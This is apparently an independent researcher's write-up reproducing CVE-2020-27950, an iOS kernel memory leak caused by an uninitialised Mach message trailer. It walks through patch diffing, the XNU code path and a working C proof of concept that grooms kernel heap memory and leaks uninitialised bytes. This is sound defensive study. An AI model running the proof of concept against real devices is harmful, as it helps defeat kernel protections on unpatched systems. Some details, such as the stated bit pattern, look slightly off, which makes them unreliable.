CVE-2020-27950: Kernel Memory Leak via an Uninitialized Mach Message Trailer

About the author. I’m Colin Xiao — an independent reverse engineer, mostly working solo on contract jobs. I dig into compiled code of every kind, including but not limited to: Android and iOS apps, x86/x64/ARM native binaries, packers and obfuscators, DRM and license checks, network protocols and APIs, crypto and signature algorithms, malware, game binaries, and embedded/IoT firmware. I also handle large-scale data collection and vulnerability research. If you have any project in mind, I’d be glad to take it on — whatever it is, as long as it’s within my wheelhouse. Just reach out. You can reach me on X at @colinxiao_lab or on Telegram at https://t.me/ColinXiao666.

This research is published for educational and defensive purposes. The target sample is anonymized throughout.


CVE-2020-27950: Kernel Memory Leak via an Uninitialized Mach Message Trailer

This is a from-scratch reproduction of CVE-2020-27950, an iOS/macOS kernel memory disclosure. Apple’s advisory sums it up:

Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6

Impact: A malicious application may be able to disclose kernel memory. Apple is aware of reports that an exploit for this issue exists in the wild.

Description: A memory initialization issue was addressed.

CVE-2020-27950: Google Project Zero

I reconstructed the bug following the Synacktiv writeup (iOS 1-day hunting: uncovering and exploiting CVE-2020-27950 kernel memory leak), and took the patch-diffing route — my first time reverse-engineering an iOS kernel bug through BinDiff patch comparison. It was more painful than expected; if you know a cleaner workflow, I’d genuinely like to hear it.

Environment

I diffed two iPhone 6 firmware builds:

Both .ipsw files are just ZIP archives:

➜  ~ file *.ipsw
iPhone_4.7_12.4.8_16G201_Restore.ipsw: Zip archive data, at least v2.0 to extract
iPhone_4.7_12.4.9_16H5_Restore.ipsw:   Zip archive data, at least v2.0 to extract

Extracting them, kernelcache.release.iphone7 is the compressed kernel binary:

➜  iPhone_4.7_12.4.8_16G201_Restore ls -al
total 6012560
drwxr-xr-x@  9 wnagzihxa1n  staff         288 Jan  2 19:41 .
drwxr-xr-x   7 wnagzihxa1n  staff         224 Jan  2 19:42 ..
-rw-r--r--@  1 wnagzihxa1n  staff  2874835794 Jan  9  2007 038-60223-004.dmg
-rw-r--r--@  1 wnagzihxa1n  staff    93846555 Jan  9  2007 038-60285-004.dmg
-rw-r--r--@  1 wnagzihxa1n  staff    91602971 Jan  9  2007 038-60305-004.dmg
-rw-r--r--@  1 wnagzihxa1n  staff      128367 Jan  9  2007 BuildManifest.plist
drwxr-xr-x@ 10 wnagzihxa1n  staff         320 Jan  9  2007 Firmware
-rw-r--r--@  1 wnagzihxa1n  staff         985 Jan  9  2007 Restore.plist
-rw-r--r--@  1 wnagzihxa1n  staff    14061377 Jan  9  2007 kernelcache.release.iphone7

The iPhone 6 kernel cache uses LZSS compression:

➜  iPhone_4.7_12.4.8_16G201_Restore xxd -a kernelcache.release.iphone7 | head -n 10
00000000: 3083 d68f 3c16 0449 4d34 5016 046b 726e  0...<..IM4P..krn
00000010: 6c16 1e4b 6572 6e65 6c43 6163 6865 4275  l..KernelCacheBu
00000020: 696c 6465 722d 3134 3639 2e32 3630 2e31  ilder-1469.260.1
00000030: 3504 83d6 8f0b 636f 6d70 6c7a 7373 025a  5.....complzss.Z
00000040: b99c 01ae f208 00d5 cd8b 0000 0001 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
000001b0: 0000 0000 0000 ffcf faed fe0c 0000 01d5  ................
000001c0: 00f6 f002 f6f0 16f6 f058 115a f3f1 20f6  .........X.Z.. .
000001d0: f100 19f6 f028 faf0 3f5f 5f54 4558 5409  .....(..?__TEXT.

I decompressed it with lzssdec:

➜  lzssdec wget http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
➜  lzssdec g++ lzssdec.cpp -o lzssdec
➜  iPhone_4.7_12.4.8_16G201_Restore ./lzssdec -o 0x1b6 < kernelcache.release.iphone7 > kernelcache.release.iphone7.bin

Do the same for the patched build, and both kernel caches are ready:

➜  iPhone_4.7_12.4.8_16G201_Restore file kernelcache.release.iphone7.bin
kernelcache.release.iphone7.bin: Mach-O 64-bit executable arm64
➜  iPhone_4.7_12.4.9_16H5_Restore file kernelcache.release.iphone7.bin
kernelcache.release.iphone7.bin: Mach-O 64-bit executable arm64

Diffing the patch

The diff tool here is BinDiff (now at version 6). One environment quirk: on macOS the BinDiff binary needs a symlink before it will run:

➜  ~ sudo ln -s /Applications/BinDiff/BinDiff.app/Contents/MacOS/bin/bindiff /Applications/BinDiff/BinDiff.app/Contents/app/bindiff

I loaded both binaries into IDA 7.5, produced the .idb files, and ran BinDiff on the pair:

BinDiff comparing the two kernel caches

Symbol recovery for the kernel cache was its own multi-day detour — I documented that separately in a writeup on restoring kernelcache symbols.

Diffing kc_12.4.8 against kc_12.4.9 yields eight changed functions. Five of them received the exact same added snippet:

__TEXT_EXEC:__text:FFFFFFF00768E4C4 MOV             W1, #0x44 ; 'D'
__TEXT_EXEC:__text:FFFFFFF00768E4C8 MOV             X0, X20
__TEXT_EXEC:__text:FFFFFFF00768E4CC BL              sub_FFFFFFF00766D6C0
__TEXT_EXEC:__text:FFFFFFF00768E4D0 MOV             W23, #0

Cross-referencing those five functions against a symbol-leaked kc_symbols via BinDiff recovered two correct names; a third had a recognizable string and turned out to be ipc_kobject_server(). Two remained unnamed:

kc_12.4.8_func_name kc_12.4.9_func_name Similarity bindiff_symbol true_symbol
sub_FFFFFFF00768E3AC sub_FFFFFFF00768E3BC 0.58 _ipc_kmsg_get_from_kernel ipc_kmsg_get_from_kernel
sub_FFFFFFF00768E164 sub_FFFFFFF00768E164 0.96 _ipc_kmsg_get ipc_kmsg_get
sub_FFFFFFF0076A7824 sub_FFFFFFF0076A7840 0.13 _mach_gss_accept_sec_context_v2
sub_FFFFFFF0076BE438 sub_FFFFFFF0076BE470 0.11 _ipc_port_send_turnstile_prepare ipc_kobject_server
sub_FFFFFFF0076BF8C8 sub_FFFFFFF0076BF90C 0.28 _ptmx_get_ioctl

Looking up the called sub_FFFFFFF00766D6C0 in the patch confirms it’s bzero():

bzero() in the patched code

The fix: a missing bzero()

Now on the same footing as the original researchers, I went to the XNU source. The latest xnu-7195.50.7.100.1 had just been open-sourced, alongside an older xnu-6153.141.1:

Comparing the two, the patched version adds one line:

bzero(trailer, sizeof(*trailer));

Vulnerable on the left, patched on the right:

bzero added to the patched version

The patched variable trailer is of type mach_msg_max_trailer_t, itself a typedef of mach_msg_mac_trailer_t:

typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
mach_msg_max_trailer_t          *trailer;

Near the mach_msg_mac_trailer_t definition sit two macros — MACH_MSG_TRAILER_MINIMUM_SIZE and MAX_TRAILER_SIZE — bounding the largest and smallest trailer sizes, which leads to mach_msg_trailer_t:

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
	mach_port_seqno_t             msgh_seqno;
	security_token_t              msgh_sender;
	audit_token_t                 msgh_audit;
	mach_port_context_t           msgh_context;
	mach_msg_filter_id            msgh_ad;
	msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

The largest trailer carries several fields and is 0x44 bytes; the minimum trailer has only two fields and is 0x08 bytes.

Mach messages, ports, and trailers

Before tracing the code, the background that makes this bug click.

Mach is the core of the XNU kernel, implementing the fundamentals: process/thread abstraction, virtual memory, scheduling, and inter-process communication via messages. BSD sits on top, providing the network stack, filesystem, device access, and so on.

In Mach, a Message travels between two Ports. Messages come in two flavors — simple and complex — where complex messages carry more field data. A Port is essentially a kernel message queue: the task that creates a Port holds the receive right, and any other task that acquires a send right can send messages to it.

Sending and receiving go through mach_msg(), which exists in both user and kernel space:

extern mach_msg_return_t mach_msg(
	    mach_msg_header_t       *msg,
	    mach_msg_option_t       option,
	    mach_msg_size_t         send_size,
	    mach_msg_size_t         rcv_size,
	    mach_port_name_t        rcv_name,
	    mach_msg_timeout_t      timeout,
	    mach_port_name_t        notify);

A basic message is a Message Header plus a Message Body, optionally followed by a trailer:

typedef struct{
	mach_msg_header_t       header;
	mach_msg_body_t         body;
} mach_msg_base_t;

typedef struct{
	mach_msg_bits_t       msgh_bits;
	mach_msg_size_t       msgh_size;
	mach_port_t           msgh_remote_port;
	mach_port_t           msgh_local_port;
	mach_port_name_t      msgh_voucher_port;
	mach_msg_id_t         msgh_id;
} mach_msg_header_t;

typedef struct{
	mach_msg_size_t msgh_descriptor_count;
} mach_msg_body_t;

From a developer’s perspective, here’s the full send/receive round-trip (see also the Mach ports guide).

Creating a receiver port and waiting for a message

First allocate a port:

mach_port_t port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);

Grab the send right for it:

mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

Register it with the system so other processes can look it up by name:

bootstrap_register(bootstrap_port, "com.wnagzihxa1n.port", port);

Then block on mach_msg() to receive:

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
    mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
    &message.header,  // (mach_msg_header_t *) &message
    MACH_RCV_MSG,     // receive
    0,                // send size
    sizeof(message),  // receive size
    port,             // port to receive on
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

Note the trailer here: it can be appended to the tail of a message as an extra request. The trailer is not counted in the header’s msgh_size — it carries its own length field, msgh_trailer_size. This example uses the minimum empty trailer:

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

Getting the sender port and sending to it

Look up the named port:

mach_port_t port;
bootstrap_look_up(bootstrap_port, "com.wnagzihxa1n.port", &port);

Build the message:

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 1337;

And send it (note the second argument):

kr = mach_msg(
    &message.header,  // (mach_msg_header_t *) &message
    MACH_SEND_MSG,    // send
    sizeof(message),  // send size
    0,                // receive size
    MACH_PORT_NULL,
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

That’s the full send/receive flow. To exercise the trailer, swap mach_msg_trailer_t for mach_msg_security_trailer_t and add the trailer request bit:

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
    mach_msg_security_trailer_t trailer;
} message;

kr = mach_msg(
    &message.header,
    MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_SENDER),     // <-- trailer request bit
    0,
    sizeof(message),
    port,
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

On receipt, the sender’s identity is available:

printf("Sender's user id is %u\nSender's user group is %u\n",
       message.trailer.msgh_sender.val[0],
       message.trailer.msgh_sender.val[1]);

// Sender's user id is 501
// Sender's user group is 20
// ➜  id
// uid=501(wnagzihxa1n) gid=20(staff) groups=20(staff)

The point: a port’s receiver can ask the kernel to attach extra data when calling mach_msg(). The kernel honors a set of option flags in mach_msg()’s second argument:

/* The options that the kernel honors when passed from user space */
#define MACH_SEND_USER (
    MACH_SEND_MSG |
    MACH_SEND_TIMEOUT |
	MACH_SEND_NOTIFY |
	MACH_SEND_OVERRIDE |
	MACH_SEND_TRAILER |
	MACH_SEND_NOIMPORTANCE |
	MACH_SEND_SYNC_OVERRIDE |
	MACH_SEND_PROPAGATE_QOS |
	MACH_SEND_SYNC_BOOTSTRAP_CHECKIN |
	MACH_MSG_STRICT_REPLY |
	MACH_RCV_GUARDED_DESC)

#define MACH_RCV_USER (
    MACH_RCV_MSG |
    MACH_RCV_TIMEOUT |
	MACH_RCV_LARGE |
	MACH_RCV_LARGE_IDENTITY |
	MACH_RCV_VOUCHER |
	MACH_RCV_TRAILER_MASK |
	MACH_RCV_SYNC_WAIT |
	MACH_RCV_SYNC_PEEK  |
	MACH_RCV_GUARDED_DESC |
	MACH_MSG_STRICT_REPLY)

Tracing the bug: ipc_kmsg_get()

Following mach_msg() down: it calls mach_msg_trap(), which calls mach_msg_overwrite_trap():

mach_msg_return_t
mach_msg_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	kern_return_t kr;
	args->rcv_msg = (mach_vm_address_t)0;

	kr = mach_msg_overwrite_trap(args);
	return kr;
}

There are two paths of interest: MACH_RCV_MSG and MACH_SEND_MSG.

On the send path (MACH_SEND_MSG), ipc_kmsg_get() allocates the kernel buffer and copies the message in from user space:

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	mach_vm_address_t       msg_addr = args->msg;
	mach_msg_option_t       option = args->option;  // mach_msg() second arg
    ...

	mach_msg_return_t  mr = MACH_MSG_SUCCESS;
	vm_map_t map = current_map();

	/* Only accept options allowed by the user */
	option &= MACH_MSG_OPTION_USER;

	if (option & MACH_SEND_MSG) {
		ipc_space_t space = current_space();
		ipc_kmsg_t kmsg;    // kmsg variable

        // allocate the buffer and copy message data from user space
		mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
	    // convert ports from user-space names to kernel addresses
		mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
		// send the message
		mr = ipc_kmsg_send(kmsg, option, msg_timeout);
	}

	if (option & MACH_RCV_MSG) {
		...
	}

	return MACH_MSG_SUCCESS;
}

ipc_kmsg_get() is the vulnerable function. ipc_kmsg_t is the kernel-side message structure; the copy flow is annotated below:

mach_msg_return_t
ipc_kmsg_get(
	mach_vm_address_t       msg_addr,
	mach_msg_size_t size,
	ipc_kmsg_t              *kmsgp)
{
	mach_msg_size_t                 msg_and_trailer_size;
	ipc_kmsg_t                      kmsg;
	mach_msg_max_trailer_t          *trailer;
	mach_msg_legacy_base_t      legacy_base;
	mach_msg_size_t             len_copied;
	legacy_base.body.msgh_descriptor_count = 0;

	// length parameter checks

    // mach_msg_legacy_base_t is the same size as mach_msg_base_t
    if (size == sizeof(mach_msg_legacy_header_t)) {
		len_copied = sizeof(mach_msg_legacy_header_t);
	} else {
		len_copied = sizeof(mach_msg_legacy_base_t);
	}

	// copy the message in from user space
	if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
		return MACH_SEND_INVALID_DATA;
	}

    // kernel-side message start address
	msg_addr += sizeof(legacy_base.header);

    // add the maximum trailer size up front — we don't yet know
    // which trailer type the receiver will request, so reserve for the largest
    // typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
    // #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
	msg_and_trailer_size = size + MAX_TRAILER_SIZE;

	// allocate kernel memory
	kmsg = ipc_kmsg_alloc(msg_and_trailer_size);

    // initialize parts of kmsg.ikm_header

    // copy the message body (trailer excluded)
	if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
		ipc_kmsg_free(kmsg);
		return MACH_SEND_INVALID_DATA;
	}

    // locate the trailer at the tail of the kmsg by size, and initialize it
    // note its msgh_trailer_size is set to the minimum MACH_MSG_TRAILER_MINIMUM_SIZE
	trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
	trailer->msgh_sender = current_thread()->task->sec_token;
	trailer->msgh_audit = current_thread()->task->audit_token;
	trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
	trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
	trailer->msgh_labels.sender = 0;

	*kmsgp = kmsg;
	return MACH_MSG_SUCCESS;
}

Here’s the first half of the bug: ipc_kmsg_get() types the trailer as mach_msg_max_trailer_t and allocates kmsg sized for the maximum trailer, but only initializes three fields. Everything else is left as whatever the freshly allocated kernel page contained:

trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_labels.sender = 0;

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
	mach_port_seqno_t             msgh_seqno;
	security_token_t              msgh_sender;
	audit_token_t                 msgh_audit;
	mach_port_context_t           msgh_context;
	mach_msg_filter_id            msgh_ad;
	msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

The sizing logic: ipc_kmsg_add_trailer()

On the receive path (MACH_RCV_MSG), mach_msg_overwrite_trap() calls mach_msg_receive_results() to read the message:

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
    // basic setup
	mach_vm_address_t       msg_addr = args->msg;
	mach_msg_option_t       option = args->option;  // mach_msg() second arg
    ...

	mach_msg_return_t  mr = MACH_MSG_SUCCESS;
	vm_map_t map = current_map();

	/* Only accept options allowed by the user */
	option &= MACH_MSG_OPTION_USER;

    // send branch
	if (option & MACH_SEND_MSG) {
		...
	}

    // receive branch — this is the one we care about
	if (option & MACH_RCV_MSG) {
		thread_t self = current_thread();
		ipc_space_t space = current_space();
		ipc_object_t object;
		ipc_mqueue_t mqueue;

		mr = ipc_mqueue_copyin(space, rcv_name, &mqueue, &object);

        // set the receive buffer address
		if (rcv_msg_addr != (mach_vm_address_t)0) {
			self->ith_msg_addr = rcv_msg_addr;
		} else {
			self->ith_msg_addr = msg_addr;
		}

		// stash the important parameters in the thread's global struct
		self->ith_object = object;
		self->ith_rsize = rcv_size;
		self->ith_msize = 0;
		self->ith_option = option;
		self->ith_receiver_name = MACH_PORT_NULL;
		self->ith_continuation = thread_syscall_return;
		self->ith_knote = ITH_KNOTE_NULL;

        // dequeue the message
        // Purpose: Receive a message from a message queue.
		ipc_mqueue_receive(mqueue, option, rcv_size, msg_timeout, THREAD_ABORTSAFE);
		if ((option & MACH_RCV_TIMEOUT) && msg_timeout == 0) {
			thread_poll_yield(self);
		}

		// read the message
		return mach_msg_receive_results(NULL);
	}

	return MACH_MSG_SUCCESS;
}

mach_msg_receive_results() reads the message and, on success, calls ipc_kmsg_add_trailer():

mach_msg_return_t
mach_msg_receive_results(
	mach_msg_size_t *sizep)
{
    // basic setup
	thread_t          self = current_thread();
	ipc_space_t       space = current_space();
	vm_map_t          map = current_map();

	mach_msg_trailer_size_t trailer_size;
	mach_msg_size_t   size = 0;

	/*
	 * unlink the special_reply_port before releasing reference to object.
	 * get the thread's turnstile, if the thread donated it's turnstile to the port
	 */
	mach_msg_receive_results_complete(object);
	io_release(object);

	/* auto redeem the voucher in the message */
	ipc_voucher_receive_postprocessing(kmsg, option);

    // determine the trailer type and compute its length
	trailer_size = ipc_kmsg_add_trailer(kmsg, space, option, self, seqno, FALSE,
	    kmsg->ikm_header->msgh_remote_port->ip_context);

	mr = ipc_kmsg_copyout(kmsg, space, map, MACH_MSG_BODY_NULL, option);

	if (mr != MACH_MSG_SUCCESS) {
		...
	} else {
		/* capture ksmg QoS values to the thread continuation state */
		self->ith_qos = kmsg->ikm_qos;
		self->ith_qos_override = kmsg->ikm_qos_override;

		// hand the message to user space
		// the trailer_size computed by ipc_kmsg_add_trailer() is used here
		mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);
	}

	if (sizep) {
		*sizep = size;
	}
	return mr;
}

ipc_kmsg_add_trailer() holds the whole kmsg, but the final trailer is still shaped by the sender’s definition; it then rewrites msgh_trailer_size dynamically based on what the receiver requested:

mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
    mach_msg_option_t option, thread_t thread,
    mach_port_seqno_t seqno, boolean_t minimal_trailer,
    mach_vm_offset_t context)
{
    // default to the maximum trailer type
	mach_msg_max_trailer_t *trailer;

#ifdef __arm64__
    // stack-local tmp_trailer
	mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */

	// kmsg trailer start address
	void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
	    ((vm_offset_t)kmsg->ikm_header +
	    mach_round_msg(kmsg->ikm_header->msgh_size));

	// copy the kmsg trailer into tmp_trailer
	// read the maximum length MAX_TRAILER_SIZE here, matching the send logic
	bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE);
	trailer = &tmp_trailer;
#else /* __arm64__ */
	(void)thread;
	trailer = (mach_msg_max_trailer_t *)
	    ((vm_offset_t)kmsg->ikm_header +
	    mach_round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */

    // per ipc_kmsg_get(): trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
    // without MACH_RCV_TRAILER_MASK, just return the minimum trailer size
    // (that flag means the trailer type is mach_msg_trailer_t, whose size is
    // the sender's default MACH_MSG_TRAILER_MINIMUM_SIZE)
    // #define MACH_RCV_TRAILER_MASK        ((0xf << 24))
	if (!(option & MACH_RCV_TRAILER_MASK)) {
		return trailer->msgh_trailer_size;
	}

	trailer->msgh_seqno = seqno;
	trailer->msgh_context = context;

    // compute msgh_trailer_size with REQUESTED_TRAILER_SIZE
    // the logic: on the send side the maximum trailer space is reserved and
    // msgh_trailer_size is set to the minimum; on arrival, the receiver's
    // trailer request rewrites msgh_trailer_size dynamically
	trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

	if (minimal_trailer) {
		goto done;
	}

    // if the element count is below 7, don't initialize this field
    // #define MACH_RCV_TRAILER_AV     7
	if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
		trailer->msgh_ad = 0;
	}

	/*
	 * The ipc_kmsg_t holds a reference to the label of a label
	 * handle, not the port. We must get a reference to the port
	 * and a send right to copyout to the receiver.
	 */

	if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
		trailer->msgh_labels.sender = 0;
	}

done:
#ifdef __arm64__
	ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */

	return trailer->msgh_trailer_size;
}

The REQUESTED_TRAILER_SIZE_NATIVE macro matches the requested element count against each trailer struct size:

#define REQUESTED_TRAILER_SIZE_NATIVE(y)                        \
	((mach_msg_trailer_size_t)                              \
	 ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ?      \
	  sizeof(mach_msg_trailer_t) :                          \
	  ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ?    \
	   sizeof(mach_msg_seqno_trailer_t) :                   \
	  ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ?   \
	   sizeof(mach_msg_security_trailer_t) :                \
	   ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ?   \
	    sizeof(mach_msg_audit_trailer_t) :                  \
	    ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ?    \
	     sizeof(mach_msg_context_trailer_t) :               \
	     ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ?    \
	      sizeof(mach_msg_mac_trailer_t) :                  \
	     sizeof(mach_msg_max_trailer_t))))))))

At first glance the computation looks fine. But what happens when we pass a value like 5 or 6 that isn’t in the mapping?

#define MACH_RCV_TRAILER_NULL   0   // mach_msg_trailer_t
#define MACH_RCV_TRAILER_SEQNO  1   // mach_msg_seqno_trailer_t
#define MACH_RCV_TRAILER_SENDER 2   // mach_msg_security_trailer_t
#define MACH_RCV_TRAILER_AUDIT  3   // mach_msg_audit_trailer_t
#define MACH_RCV_TRAILER_CTX    4   // mach_msg_context_trailer_t
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

Passing 5 produces the bit pattern 0b111000000000000000000000010, which still passes the MACH_RCV_TRAILER_MASK check (0b1111000000000000000000000000) — so 5 survives the flag test, but it matches no GET_RCV_ELEMENTS case above, falling through to sizeof(mach_msg_max_trailer_t).

Back in mach_msg_receive_results(), that trailer_size flows into ipc_kmsg_put(), which copies the message from kernel space to user space:

mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);

Watch the size used for the copy:

mach_msg_return_t
ipc_kmsg_put(
	ipc_kmsg_t              kmsg,
	mach_msg_option_t       option,
	mach_vm_address_t       rcv_addr,
	mach_msg_size_t         rcv_size,
	mach_msg_size_t         trailer_size,
	mach_msg_size_t         *sizep)
{
    // total length = message length + trailer length
	mach_msg_size_t size = kmsg->ikm_header->msgh_size + trailer_size;
	mach_msg_return_t mr;

#if defined(__LP64__)
	if (current_task() != kernel_task) { /* don't if receiver expects fully-cooked in-kernel msg; */
		mach_msg_legacy_header_t *legacy_header =
		    (mach_msg_legacy_header_t *)((vm_offset_t)(kmsg->ikm_header) + LEGACY_HEADER_SIZE_DELTA);

		mach_msg_bits_t         bits            = kmsg->ikm_header->msgh_bits;
		mach_msg_size_t         msg_size        = kmsg->ikm_header->msgh_size;
		mach_port_name_t        remote_port     = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_remote_port);
		mach_port_name_t        local_port      = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_local_port);
		mach_port_name_t        voucher_port    = kmsg->ikm_header->msgh_voucher_port;
		mach_msg_id_t           id                      = kmsg->ikm_header->msgh_id;

		legacy_header->msgh_id                  = id;
		legacy_header->msgh_local_port = local_port;
		legacy_header->msgh_remote_port = remote_port;
		legacy_header->msgh_voucher_port = voucher_port;
		legacy_header->msgh_size                = msg_size - LEGACY_HEADER_SIZE_DELTA;
		legacy_header->msgh_bits                = bits;

		size -= LEGACY_HEADER_SIZE_DELTA;
		kmsg->ikm_header = (mach_msg_header_t *)legacy_header;
	}
#endif

	/* Re-Compute target address if using stack-style delivery */
	if (option & MACH_RCV_STACK) {
		rcv_addr += rcv_size - size;
	}

    // copy the message out
	if (copyoutmsg((const char *) kmsg->ikm_header, rcv_addr, size)) {
		mr = MACH_RCV_INVALID_DATA;
		size = 0;
	} else {
		mr = MACH_MSG_SUCCESS;
	}

    // free the kernel-side message structure
	ipc_kmsg_free(kmsg);

	if (sizep) {
		*sizep = size;
	}
	return mr;
}

Summing it up: by setting mach_msg()’s second argument to MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), we force the maximum trailer->msgh_trailer_size and skip the initialization of trailer->msgh_ad — so whatever bytes sat in that freshly-allocated kernel buffer get copied straight out to user space.

Proof of concept

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

#define MAGIC 0x416e7953 // 'SynA'

int main(int argc, char *argv[]) {
	mach_port_t port;
	int fd[2];

	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
	mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

	printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
	uint32_t *pipe_buff = malloc(1020);
	for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
		pipe_buff[i] = MAGIC;
	pipe(fd);
	write(fd[1], pipe_buff, 1020);

	printf("[+] Creating kalloc.1024 ipc_kmsg\n");
	mach_msg_base_t *message = NULL;

	// size to fit in kalloc.1024, trust me, I'm an expert (c)
	mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0);

	message = malloc(message_size + MAX_TRAILER_SIZE);
	memset(message, 0, message_size + MAX_TRAILER_SIZE);
	message->header.msgh_size = message_size;
	message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
	message->body.msgh_descriptor_count = 0;
	message->header.msgh_remote_port = port;

	uint8_t *buffer;
	buffer = malloc(message_size + MAX_TRAILER_SIZE);

	printf("[+] Freeing controlled buffer\n");
	close(fd[0]);
	close(fd[1]);

	printf("[+] Sending message\n");
	mach_msg(&message->header,
	        MACH_SEND_MSG,
	        message_size,
	        0,
	        MACH_PORT_NULL,
	        MACH_MSG_TIMEOUT_NONE,
	        MACH_PORT_NULL);
	memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
	printf("[+] Now reading message back\n");
	mach_msg((mach_msg_header_t *)buffer,
	        MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
	        0,
	        message_size + MAX_TRAILER_SIZE,
	        port,
	        MACH_MSG_TIMEOUT_NONE,
	        MACH_PORT_NULL);

	mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
	printf("[+] Leaked value: %x\n", trailer->msgh_ad);

	return 0;
}

I built this as a new iOS app in Xcode targeting the iPhone 6 on iOS 12.4 and dropped the PoC in:

PoC running under Xcode on the iPhone 6

Xcode’s struct parser tripped me up here — it mis-placed the 64-bit msgh_context after val[7] of msgh_audit. The value 4714839257292734464 is 0x416e795300000000; once I fixed the struct offsets, msgh_ad reads 0x416e7953 — our pre-placed magic value:

(lldb) p *(mach_msg_mac_trailer_t *)0x000000010fe00cdc
(mach_msg_mac_trailer_t) $11 = {
  msgh_trailer_type = 0
  msgh_trailer_size = 68
  msgh_seqno = 0
  msgh_sender = {
    val = ([0] = 501, [1] = 501)
  }
  msgh_audit = {
    val = ([0] = 4294967295, [1] = 501, [2] = 501, [3] = 501, [4] = 501, [5] = 605, [6] = 0, [7] = 1792)
  }
  msgh_context = 4714839257292734464
  msgh_ad = 0
  msgh_labels = (sender = 0)
}
(lldb) x/32x trailer
0x10fe00cdc: 0x00000000         0x00000044         0x00000000         0x000001f5
0x10fe00cec: 0x000001f5         0xffffffff(val[0]) 0x000001f5(val[1]) 0x000001f5(val[2])
